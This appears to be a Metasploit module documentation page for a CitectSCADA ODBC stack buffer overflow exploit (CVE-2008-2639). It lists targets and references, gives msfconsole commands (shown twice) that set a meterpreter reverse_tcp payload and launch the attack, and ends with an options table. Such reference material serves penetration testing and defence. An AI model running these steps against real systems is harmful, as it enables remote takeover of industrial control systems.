CitectSCADA/CitectFacilities ODBC Buffer Overflow
This module exploits a stack buffer overflow in CitectSCADA's ODBC daemon. This has only been tested against Citect v5, v6 and v7.
Exploit Rank
- Normal
Exploit Authors
- KF < kf_lists [at] digitalmunition.com >
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
- CVE-2008-2639
- BID-29634
- OSVDB-46105
- http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability
- http://www.auscert.org.au/render.html?it=9433
- http://www.controsys.hu/anyagok/group_quality_assurance.pdf
- http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf
Exploit Targets
- 0 - Citect32.exe v5.21 NT4
- 1 - Citect32.exe v5.21 2K/XP
- 2 - Citect32.exe v5.41-r0 NT4
- 3 - Citect32.exe v5.41-r0 2K/XP
- 4 - Citect32.exe v6.0-r0 2K/XP
- 5 - CiExceptionMailer.dll v5.42 on XP Sp2 or SP3
- 6 - CiExceptionMailer.dll v6.0-r0 on Server 2003 Sp2
- 7 - CiExceptionMailer.dll v6.0-r0 on XP Sp2 or SP3
- 8 - CiExceptionMailer.dll v6.10 on XP Sp2 or SP3
- 9 - CiExceptionMailer.dll v7.0-r0 on XP Sp2 or SP3
- 10 - CiExceptionMailer.dll v7.0-r0 on 2003 Server SP1
- 11 - CiExceptionMailer.dll v5.50-r0 XP SP2
- 12 - CiExceptionMailer.dll v5.50-r0 2003 Server
- 13 - Debug
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
- exploit/windows/scada/moxa_mdmtool
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/citect_scada_odbc
msf exploit(citect_scada_odbc) > show payloads
msf exploit(citect_scada_odbc) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(citect_scada_odbc) > set LHOST [MY IP ADDRESS]
msf exploit(citect_scada_odbc) > set RHOST [TARGET IP]
msf exploit(citect_scada_odbc) > show targets
msf exploit(citect_scada_odbc) > set TARGET [TARGET ID]
msf exploit(citect_scada_odbc) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/citect_scada_odbc
msf exploit(citect_scada_odbc) > show payloads
msf exploit(citect_scada_odbc) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(citect_scada_odbc) > set LHOST [MY IP ADDRESS]
msf exploit(citect_scada_odbc) > set RHOST [TARGET IP]
msf exploit(citect_scada_odbc) > show targets
msf exploit(citect_scada_odbc) > set TARGET [TARGET ID]
msf exploit(citect_scada_odbc) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 20222) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
